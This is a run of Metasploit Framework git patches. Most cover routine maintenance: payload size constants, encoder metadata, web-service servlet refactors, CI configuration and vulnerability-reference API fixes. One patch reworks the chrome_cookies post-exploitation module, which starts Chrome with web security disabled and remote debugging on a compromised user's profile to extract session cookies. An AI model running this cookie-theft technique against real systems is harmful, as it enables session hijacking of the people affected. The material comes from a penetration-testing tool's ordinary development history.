a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 8cad7922153f..057f670c3c55 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 1021984 + CachedSize = 1022000 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index 25d38e6c801d..51f07cf11b68 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 951548 + CachedSize = 951564 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index cae1f4f9ba6c..89fbfbdc61e7 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 951548 + CachedSize = 951564 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index c203c086eed7..1582071387fe 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 951548 + CachedSize = 951564 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions From e1c67990762af1a0b780ac665985f28bd4150587 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Sat, 29 Dec 2018 02:22:55 -0800 Subject: [PATCH 149/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 7376b99f2e5d..0020b1c09543 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -43281,7 +43281,8 @@ "type": "encoder", "author": [ "Julien Tinnes ", - "juan vazquez " + "juan vazquez ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder. This encoder has been found useful on\n situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS\n architectures, this one is based on the xori instruction.", "references": [ @@ -43295,7 +43296,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 16:33:44 +0000", "path": "/modules/encoders/mipsbe/byte_xori.rb", "is_install_path": true, "ref_name": "mipsbe/byte_xori", @@ -43312,7 +43313,8 @@ "disclosure_date": null, "type": "encoder", "author": [ - "Julien Tinnes " + "Julien Tinnes ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder", "references": [ @@ -43326,7 +43328,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 13:35:16 +0000", "path": "/modules/encoders/mipsbe/longxor.rb", "is_install_path": true, "ref_name": "mipsbe/longxor", @@ -43344,7 +43346,8 @@ "type": "encoder", "author": [ "Julien Tinnes ", - "juan vazquez " + "juan vazquez ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder. This encoder has been found useful on\n situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS\n architectures, this one is based on the xori instruction.", "references": [ @@ -43358,7 +43361,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 16:30:47 +0000", "path": "/modules/encoders/mipsle/byte_xori.rb", "is_install_path": true, "ref_name": "mipsle/byte_xori", @@ -43375,7 +43378,8 @@ "disclosure_date": null, "type": "encoder", "author": [ - "Julien Tinnes " + "Julien Tinnes ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder", "references": [ @@ -43389,7 +43393,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 15:48:29 +0000", "path": "/modules/encoders/mipsle/longxor.rb", "is_install_path": true, "ref_name": "mipsle/longxor", From 811605a9b8d388cf387c39432c1f21902185abc1 Mon Sep 17 00:00:00 2001 From: Alex Date: Sun, 30 Dec 2018 18:03:39 +1100 Subject: [PATCH 150/220] Cleanup headless Chrome process for meterpreter sessions --- .../post/multi/gather/chrome_cookies.md | 6 +- modules/post/multi/gather/chrome_cookies.rb | 89 ++++++++++++++----- 2 files changed, 68 insertions(+), 27 deletions(-) diff --git a/documentation/modules/post/multi/gather/chrome_cookies.md b/documentation/modules/post/multi/gather/chrome_cookies.md index 7b516c63fd2c..b78d1e29711e 100644 --- a/documentation/modules/post/multi/gather/chrome_cookies.md +++ b/documentation/modules/post/multi/gather/chrome_cookies.md @@ -6,7 +6,7 @@ Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headles This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk. -The module writes a random 10-15 character file containing HTML to a directory you can specify via `TEMP_STORAGE_DIR`. +The module writes a random 10-15 character file containing HTML to a directory you can specify via `WRITABLE_DIR`. ## Vulnerable Application @@ -29,7 +29,7 @@ Chrome does not need to be running on the target machine for this module to work The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option. - **TEMP_STORAGE_DIR** + **WRITABLE_DIR** Directory used to write temporary files. @@ -58,7 +58,7 @@ Module options (post/multi/gather/chrome_cookies): CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS) REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol SESSION 1 yes The session to run this module on. - TEMP_STORAGE_DIR /tmp no Where to write the html used to steal cookies temporarily + WRITABLE_DIR /tmp no Where to write the html used to steal cookies temporarily msf post(multi/gather/chrome_cookies) > set session session => diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb index d47f59dc01aa..8624100c1c6f 100644 --- a/modules/post/multi/gather/chrome_cookies.rb +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -22,7 +22,7 @@ def initialize(info = {}) register_options( [ OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']), - OptString.new('TEMP_STORAGE_DIR', [true, 'Where to write the html used to steal cookies temporarily', '/tmp']), + OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', ""]), OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) ] ) @@ -37,18 +37,21 @@ def configure_for_platform when 'unix', 'linux', 'bsd', 'python' @platform = :unix @chrome = 'google-chrome' - @user_data_dir = "/home/#{session.username}/.config/google-chrome/" - @temp_storage_dir = datastore['TEMP_STORAGE_DIR'] + @user_data_dir = "/home/#{session.username}/.config/google-chrome" + @temp_storage_dir = datastore['WRITABLE_DIR'] + @temp_storage_dir = @temp_storage_dir.nil? ? "/tmp" : @temp_storage_dir when 'osx' @platform = :osx @chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' @user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome" - @temp_storage_dir = datastore['TEMP_STORAGE_DIR'] + @temp_storage_dir = datastore['WRITABLE_DIR'] + @temp_storage_dir = @temp_storage_dir.nil? ? "/tmp" : @temp_storage_dir when 'windows' @platform = :windows @chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"' @user_data_dir = "\\Users\\#{session.username}\\AppData\\Local\\Google\\Chrome\\User Data" - @temp_storage_dir = "\\Users\\#{session.username}\\AppData\\Local\\Temp" + @temp_storage_dir = datastore['WRITABLE_DIR'] + @temp_storage_dir = @temp_storage_dir.nil? ? "\\Users\\#{session.username}\\AppData\\Local\\Temp" : @temp_storage_dir else fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}" end @@ -57,30 +60,50 @@ def configure_for_platform @chrome = datastore['CHROME_BINARY_PATH'] end - @retries = datastore['MAX_RETRIES'] + # Warn user that we are leaving a running process behind. + if session.type != "meterpreter" + print_warning "Non-meterpreter session used - This module will leave a headless Chrome process running on the target machine." + end -=begin unless writable? @temp_storage_dir fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable" end -=end @html_storage_path = create_cookie_stealing_html - @chrome_debugging_cmd = "#{@chrome}" + @chrome_debugging_cmd = @chrome.to_s + @chrome_debugging_args = [] + if @platform == :windows - @chrome_debugging_args = '--enable-logging' - @chrome_debugging_args << ' --disable-gpu' - @chrome_debugging_args << ' --window-position=0,0' + # `--headless` doesn't work on Windows, so use an offscreen window instead. + @chrome_debugging_args << '--window-position=0,0' + @chrome_debugging_args << '--enable-logging --v=1' else - @chrome_debugging_args = '--headless' + @chrome_debugging_args << '--headless' end - @chrome_debugging_args << ' --disable-web-security' - @chrome_debugging_args << ' --disable-plugins' + chrome_debugging_args_all_platforms = [ + '--disable-translate', + '--disable-extensions', + '--disable-background-networking', + '--safebrowsing-disable-auto-update', + '--disable-sync', + '--metrics-recording-only', + '--disable-default-apps', + '--mute-audio', + '--no-first-run', + '--disable-web-security', + '--disable-plugins', + '--disable-gpu' + ] + + @chrome_debugging_args += chrome_debugging_args_all_platforms + @chrome_debugging_args << " --user-data-dir=\"#{@user_data_dir}\"" @chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}" @chrome_debugging_args << " #{@html_storage_path}" + + @chrome_debugging_args = @chrome_debugging_args.join(" ") end def create_cookie_stealing_html @@ -120,32 +143,50 @@ def create_cookie_stealing_html ) # Where to temporarily store the cookie-stealing html - #html_storage_path = File.join @temp_storage_dir, Rex::Text.rand_text_alphanumeric(10..15) if @platform == :windows html_storage_path = "#{@temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html" else html_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html" end + write_file html_storage_path, cookie_stealing_html + html_storage_path end - def cleanup_html + def cleanup rm_f @html_storage_path + rm_f @chrome_debug_log end def get_cookies if @platform == :windows - chrome_pid = cmd_exec_get_pid @chrome_debugging_cmd, @chrome_debugging_args - Rex::sleep(5) + # Write to the chrome debug log, since `--enable-logging` is incompatible with `--headless`. + chrome_cmd = "#{@chrome_debugging_cmd} #{@chrome_debugging_args}" + @chrome_debug_log = "#{@user_data_dir}\\chrome_debug.log" + kill_cmd = "taskkill /f /pid" + @cookie_storage_path = @chrome_debug_log - chrome_output = read_file("#{@user_data_dir}\\chrome_debug.log") - cmd_exec("taskkill /f /pid #{chrome_pid}") else - chrome_output = cmd_exec @chrome_debugging_cmd, @chrome_debugging_args + @cookie_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}" + chrome_cmd = "#{@chrome_debugging_cmd} #{@chrome_debugging_args} > #{@cookie_storage_path} 2>&1" + kill_cmd = "kill -9" end - print_status "Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd} #{@chrome_debugging_args}" + if session.type == "meterpreter" + chrome_pid = cmd_exec_get_pid chrome_cmd + print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}" + Rex.sleep(5) + + chrome_output = read_file @cookie_storage_path + kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}" + print_status "Running #{kill_cmd}\ + #{kill_output}" + else + chrome_output = cmd_exec chrome_cmd + print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}" + print_warning "Leaving headless Chrome process running...." + end # Parse out the cookies from Chrome's output cookies_pattern = /REMOTE_DEBUGGING|\[.*\]/m @@ -170,6 +211,6 @@ def run cookies = get_cookies cookies_parsed = JSON.parse cookies save "#{cookies_parsed.length} Chrome Cookies", cookies - cleanup_html + cleanup end end From 0e56c30ab2e92121c979dcb3054f2a09ac143383 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 31 Dec 2018 15:43:16 -0500 Subject: [PATCH 151/220] Use data object wrapper for JSON response --- lib/msf/core/web_services/servlet/login_servlet.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/web_services/servlet/login_servlet.rb b/lib/msf/core/web_services/servlet/login_servlet.rb index 1a84015c215b..450c5437963a 100644 --- a/lib/msf/core/web_services/servlet/login_servlet.rb +++ b/lib/msf/core/web_services/servlet/login_servlet.rb @@ -25,7 +25,7 @@ def self.get_logins sanitized_params = sanitize_params(params, env['rack.request.query_hash']) data = get_db.logins(sanitized_params) data = data.first if is_single_object?(data, sanitized_params) - set_json_response(data) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error retrieving logins:', code: 500) end @@ -38,8 +38,8 @@ def self.create_login opts = parse_json_request(request, false) opts[:core][:workspace] = get_db.workspaces(id: opts[:workspace_id]).first opts[:core] = get_db.creds(opts[:core]).first - response = get_db.create_credential_login(opts) - set_json_response(response) + data = get_db.create_credential_login(opts) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error creating the login:', code: 500) end @@ -53,7 +53,7 @@ def self.update_login tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] data = get_db.update_login(opts) - set_json_response(data) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error updating the login:', code: 500) end @@ -65,7 +65,7 @@ def self.delete_logins begin opts = parse_json_request(request, false) data = get_db.delete_logins(opts) - set_json_response(data) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error deleting the logins:', code: 500) end From 05d810ac23b4e3007d513d724ddb3a7d9696ae74 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 31 Dec 2018 15:46:00 -0500 Subject: [PATCH 152/220] Add support for GET with ID in the path --- lib/msf/core/web_services/servlet/login_servlet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/web_services/servlet/login_servlet.rb b/lib/msf/core/web_services/servlet/login_servlet.rb index 450c5437963a..47cfe45de9ef 100644 --- a/lib/msf/core/web_services/servlet/login_servlet.rb +++ b/lib/msf/core/web_services/servlet/login_servlet.rb @@ -9,7 +9,7 @@ def self.api_path_with_id end def self.registered(app) - app.get LoginServlet.api_path, &get_logins + app.get LoginServlet.api_path_with_id, &get_logins app.post LoginServlet.api_path, &create_login app.put LoginServlet.api_path_with_id, &update_login app.delete LoginServlet.api_path, &delete_logins From 7b22527f8ff25c5fe5ef696c29f197be4bed56e2 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 31 Dec 2018 16:37:08 -0500 Subject: [PATCH 153/220] Make error message use same language as others --- lib/msf/core/web_services/servlet/host_servlet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/web_services/servlet/host_servlet.rb b/lib/msf/core/web_services/servlet/host_servlet.rb index cc4c8d73133f..f090ac166636 100644 --- a/lib/msf/core/web_services/servlet/host_servlet.rb +++ b/lib/msf/core/web_services/servlet/host_servlet.rb @@ -34,7 +34,7 @@ def self.get_host data = data.first if is_single_object?(data, sanitized_params) set_json_data_response(response: data, includes: includes) rescue => e - print_error_and_create_response(error: e, message: 'There was an error getting hosts:', code: 500) + print_error_and_create_response(error: e, message: 'There was an error retrieving hosts:', code: 500) end } end From 4fc65b39a161be9aa362717c58615e85f97fcac1 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 31 Dec 2018 16:38:26 -0500 Subject: [PATCH 154/220] Make position of warden call the same as others Minor correction for consistent usage since a previous refactoring moved the authenticate call into the begin block. --- lib/msf/core/web_services/servlet/event_servlet.rb | 2 +- lib/msf/core/web_services/servlet/msf_servlet.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/web_services/servlet/event_servlet.rb b/lib/msf/core/web_services/servlet/event_servlet.rb index 8284d3225d42..fede8aa7748a 100644 --- a/lib/msf/core/web_services/servlet/event_servlet.rb +++ b/lib/msf/core/web_services/servlet/event_servlet.rb @@ -14,8 +14,8 @@ def self.registered(app) def self.report_event lambda { + warden.authenticate! begin - warden.authenticate! job = lambda { |opts| get_db.report_event(opts) } exec_report_job(request, &job) rescue => e diff --git a/lib/msf/core/web_services/servlet/msf_servlet.rb b/lib/msf/core/web_services/servlet/msf_servlet.rb index ba2a67889546..96acdb9036c4 100644 --- a/lib/msf/core/web_services/servlet/msf_servlet.rb +++ b/lib/msf/core/web_services/servlet/msf_servlet.rb @@ -18,8 +18,8 @@ def self.registered(app) def self.get_msf_version lambda { + warden.authenticate! begin - warden.authenticate! set_json_data_response(response: { metasploit_version: Metasploit::Framework::VERSION }) rescue => e print_error_and_create_response(error: e, message: 'There was an error retrieving the version:', code: 500) From 3c123d93f919e76b58a2cc59d887667e971ecdab Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 3 Jan 2019 13:23:16 -0600 Subject: [PATCH 155/220] set bundler version for travis for now --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index c2df146c7174..5bcc30c8cb70 100644 --- a/.travis.yml +++ b/.travis.yml @@ -48,7 +48,7 @@ before_install: - ls -la ./.git/hooks - ./.git/hooks/post-merge # Update the bundler - - gem install bundler + - gem install bundler -v 1.17.3 before_script: - cp config/database.yml.travis config/database.yml - bundle exec rake --version From 7faca5e4c552bb1a196ef7543550a11d66799b71 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 3 Jan 2019 13:50:48 -0600 Subject: [PATCH 156/220] update travis to use latest rubygems By using the latest rubygems available bundler version limits should become more compatible. --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 5bcc30c8cb70..511cd45f98e1 100644 --- a/.travis.yml +++ b/.travis.yml @@ -48,7 +48,8 @@ before_install: - ls -la ./.git/hooks - ./.git/hooks/post-merge # Update the bundler - - gem install bundler -v 1.17.3 + - gem update --system + - gem install bundler before_script: - cp config/database.yml.travis config/database.yml - bundle exec rake --version From bcfe434d1ec880ef727b5406b44c3470cd3523b6 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 12 Dec 2018 11:47:14 -0600 Subject: [PATCH 157/220] Update to_ar to use symbolized keys --- .../data_service/remote/http/response_data_helper.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb index ec170fc61a71..8739dfbb7b89 100644 --- a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb +++ b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb @@ -49,7 +49,7 @@ def json_to_mdm_object(response_wrapper, mdm_class, returns_on_error = nil) begin body = process_response(response_wrapper) if !body.nil? && !body.empty? - parsed_body = JSON.parse(body).symbolize_keys + parsed_body = JSON.parse(body, symbolize_names: true) data = Array.wrap(parsed_body[:data]) rv = [] data.each do |json_object| @@ -107,7 +107,9 @@ def to_ar(klass, val, base_object = nil) reflection end - data.except(*obj.attributes.keys).each do |k, v| + obj_attribute_names = obj.attributes.transform_keys { |k| k.to_sym }.keys + + data.except(*obj_attribute_names).each do |k, v| association = klass.reflect_on_association(k) next unless association @@ -133,7 +135,7 @@ def to_ar(klass, val, base_object = nil) end end end - obj.assign_attributes(data.slice(*obj.attributes.keys)) + obj.assign_attributes(data.slice(*obj_attribute_names)) obj.instance_eval do # prevent save From e9931fa70e2416235b885e146675b29fa056a327 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 12 Dec 2018 11:48:38 -0600 Subject: [PATCH 158/220] Fix bug when updating Mdm::Vuln.refs --- lib/msf/core/db_manager/ref.rb | 3 ++- lib/msf/core/db_manager/vuln.rb | 5 +++-- .../core/web_services/servlet/vuln_servlet.rb | 19 ++++++++++++++----- 3 files changed, 19 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb index 232c47b9ab0b..d3e9d03976a7 100644 --- a/lib/msf/core/db_manager/ref.rb +++ b/lib/msf/core/db_manager/ref.rb @@ -5,6 +5,7 @@ module Msf::DBManager::Ref def find_or_create_ref(opts) ret = {} ret[:ref] = get_ref(opts[:name]) + ret[:ref] = Mdm::Ref.find_by_id(opts[:id]) if opts[:id] return ret[:ref] if ret[:ref] ::ActiveRecord::Base.connection_pool.with_connection { @@ -38,4 +39,4 @@ def has_ref?(name) Mdm::Ref.find_by_name(name) } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index a4dff43b57e2..c499fe4a6d2b 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -262,8 +262,9 @@ def update_vuln(opts) ::ActiveRecord::Base.connection_pool.with_connection { wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false) opts[:workspace] = wspace if wspace - id = opts.delete(:id) - Mdm::Vuln.update(id, opts) + v = Mdm::Vuln.find(opts.delete(:id)) + v.update!(opts) + v } end diff --git a/lib/msf/core/web_services/servlet/vuln_servlet.rb b/lib/msf/core/web_services/servlet/vuln_servlet.rb index bfc0f6e0e820..0c5859735d2a 100644 --- a/lib/msf/core/web_services/servlet/vuln_servlet.rb +++ b/lib/msf/core/web_services/servlet/vuln_servlet.rb @@ -1,5 +1,7 @@ module VulnServlet + JSON_INCLUDES = [:host, :vulns_refs, :refs, :module_refs] + def self.api_path '/api/v1/vulns' end @@ -25,9 +27,8 @@ def self.get_vuln begin sanitized_params = sanitize_params(params, env['rack.request.query_hash']) data = get_db.vulns(sanitized_params) - includes = [:host, :vulns_refs, :refs, :module_refs] data = data.first if is_single_object?(data, sanitized_params) - set_json_data_response(response: data, includes: includes) + set_json_data_response(response: data, includes: JSON_INCLUDES) rescue => e print_error_and_create_response(error: e, message: 'There was an error retrieving vulns:', code: 500) end @@ -51,8 +52,16 @@ def self.update_vuln opts = parse_json_request(request, false) tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] + # update_vuln + if opts[:refs] + refs = [] + opts[:refs].each do |r| + refs << get_db.find_or_create_ref(r) + end + opts[:refs] = refs + end data = get_db.update_vuln(opts) - set_json_data_response(response: data) + set_json_data_response(response: data, includes: JSON_INCLUDES) rescue => e print_error_and_create_response(error: e, message: 'There was an error updating the vuln:', code: 500) end @@ -65,11 +74,11 @@ def self.delete_vuln begin opts = parse_json_request(request, false) data = get_db.delete_vuln(opts) - set_json_data_response(response: data) + set_json_data_response(response: data, includes: JSON_INCLUDES) rescue => e print_error_and_create_response(error: e, message: 'There was an error deleting the vulns:', code: 500) end } end -end \ No newline at end of file +end From 10cceb0e9b0364cb8fae6e23fb452ee1d0e0505f Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 12 Dec 2018 15:31:50 -0600 Subject: [PATCH 159/220] Fix a couple of bugs introduced by symbolizing to_ar --- .../remote/http/remote_credential_data_service.rb | 14 +++++++------- .../remote/http/response_data_helper.rb | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb index 8b41a02dfbeb..818bd0a2a0f9 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb @@ -11,19 +11,19 @@ def creds(opts = {}) path = get_path_select(opts, CREDENTIAL_API_PATH) data = self.get_data(path, nil, opts) rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, []) - parsed_body = JSON.parse(data.response.body).symbolize_keys + parsed_body = JSON.parse(data.response.body, symbolize_names: true) data = parsed_body[:data] data.each do |cred| - if cred['public'] - public_object = to_ar(cred['public']['type'].constantize, cred['public']) + if cred[:public] + public_object = to_ar(cred[:public][:type].constantize, cred[:public]) rv[data.index(cred)].public = public_object end - if cred['private'] - private_object = to_ar(cred['private']['type'].constantize, cred['private']) + if cred[:private] + private_object = to_ar(cred[:private][:type].constantize, cred[:private]) rv[data.index(cred)].private = private_object end - if cred['origin'] - origin_object = to_ar(cred['origin']['type'].constantize, cred['origin']) + if cred[:origin] + origin_object = to_ar(cred[:origin][:type].constantize, cred[:origin]) rv[data.index(cred)].origin = origin_object end end diff --git a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb index 8739dfbb7b89..bd7baa8810e2 100644 --- a/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb +++ b/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb @@ -99,7 +99,7 @@ def process_file(base64_file, save_path) # @return [ActiveRecord::Base] A klass object, which inherits from ActiveRecord::Base. def to_ar(klass, val, base_object = nil) return nil unless val - data = val.class == Hash ? val.dup : JSON.parse(val) + data = val.class == Hash ? val.dup : JSON.parse(val, symbolize_names: true) obj = base_object || klass.new obj_associations = klass.reflect_on_all_associations(:has_many).reduce({}) do |reflection, i| From 0281ddf78c6e70c16b67ee9fb37f8a51c20d8679 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 12 Dec 2018 15:40:16 -0600 Subject: [PATCH 160/220] Remove vuln_refs from Vuln JSON schema This object is just a pointer between Vulns and refs. We don't need to surface it --- documentation/api/v1/vuln_api_doc.rb | 16 +--------------- .../core/web_services/servlet/vuln_servlet.rb | 5 +++-- 2 files changed, 4 insertions(+), 17 deletions(-) diff --git a/documentation/api/v1/vuln_api_doc.rb b/documentation/api/v1/vuln_api_doc.rb index a71512b2c2bb..4d00cb133802 100644 --- a/documentation/api/v1/vuln_api_doc.rb +++ b/documentation/api/v1/vuln_api_doc.rb @@ -15,7 +15,7 @@ module VulnApiDoc ORIGIN_ID_DESC = 'ID of the associated origin record.' ORIGIN_TYPE_DESC = 'The origin type of this vuln.' REFS_DESC = 'An array of public reference IDs for this vuln.' - REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::VulnRef associated with this vuln.' + REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::Ref associated with this vuln.' REF_NAME_DESC = 'Designation for external reference. May include a prefix for the authority, such as \'CVE-\', in which case the rest of the name is the designation assigned by that authority.' REFS_EXAMPLE = ['CVE-2008-4250','OSVDB-49243','MSB-MS08-067'] MODULE_REF_DETAIL_ID_DESC = 'The ID of the Mdm::Module::Detail record this ModuleRef is associated with.' @@ -32,12 +32,6 @@ module VulnApiDoc property :vuln_attempt_count, type: :integer, format: :int32, description: VULN_ATTEMPT_COUNT property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC property :origin_type, type: :string, description: ORIGIN_TYPE_DESC - property :vuln_refs do - key :type, :array - items do - key :'$ref', :VulnRef - end - end property :refs do key :type, :array items do @@ -70,14 +64,6 @@ module VulnApiDoc property :name, type: :string, required: true, description: REF_NAME_DESC end - swagger_schema :VulnRef do - key :required, [:ref_id, :vuln_id] - property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC - property :ref_id, type: :integer, format: :int32, description: RootApiDoc::CREATED_AT_DESC - property :vuln_id, type: :integer, format: :int32, description: RootApiDoc::UPDATED_AT_DESC - end - - swagger_path '/api/v1/vulns' do # Swagger documentation for /api/v1/vulns GET operation :get do diff --git a/lib/msf/core/web_services/servlet/vuln_servlet.rb b/lib/msf/core/web_services/servlet/vuln_servlet.rb index 0c5859735d2a..50d3bc1f4d8f 100644 --- a/lib/msf/core/web_services/servlet/vuln_servlet.rb +++ b/lib/msf/core/web_services/servlet/vuln_servlet.rb @@ -1,6 +1,6 @@ module VulnServlet - JSON_INCLUDES = [:host, :vulns_refs, :refs, :module_refs] + JSON_INCLUDES = [:host, :refs, :module_refs] def self.api_path '/api/v1/vulns' @@ -52,7 +52,8 @@ def self.update_vuln opts = parse_json_request(request, false) tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] - # update_vuln + # update_vuln requires refs to be of type Mdm::Ref + # Find or create the Mdm::Ref object before moving on to the update if opts[:refs] refs = [] opts[:refs].each do |r| From 81f877ad095d2b7f6949b84ff2f071f4379ed388 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Wed, 12 Dec 2018 16:01:05 -0600 Subject: [PATCH 161/220] Remove doc references to Mdm::Module::Ref It doesnt look like this ever gets set anywhere. Mdm::Vuln.refs seems to have replaced it --- documentation/api/v1/vuln_api_doc.rb | 16 +--------------- 1 file changed, 1 insertion(+), 15 deletions(-) diff --git a/documentation/api/v1/vuln_api_doc.rb b/documentation/api/v1/vuln_api_doc.rb index 4d00cb133802..d25e6bc81010 100644 --- a/documentation/api/v1/vuln_api_doc.rb +++ b/documentation/api/v1/vuln_api_doc.rb 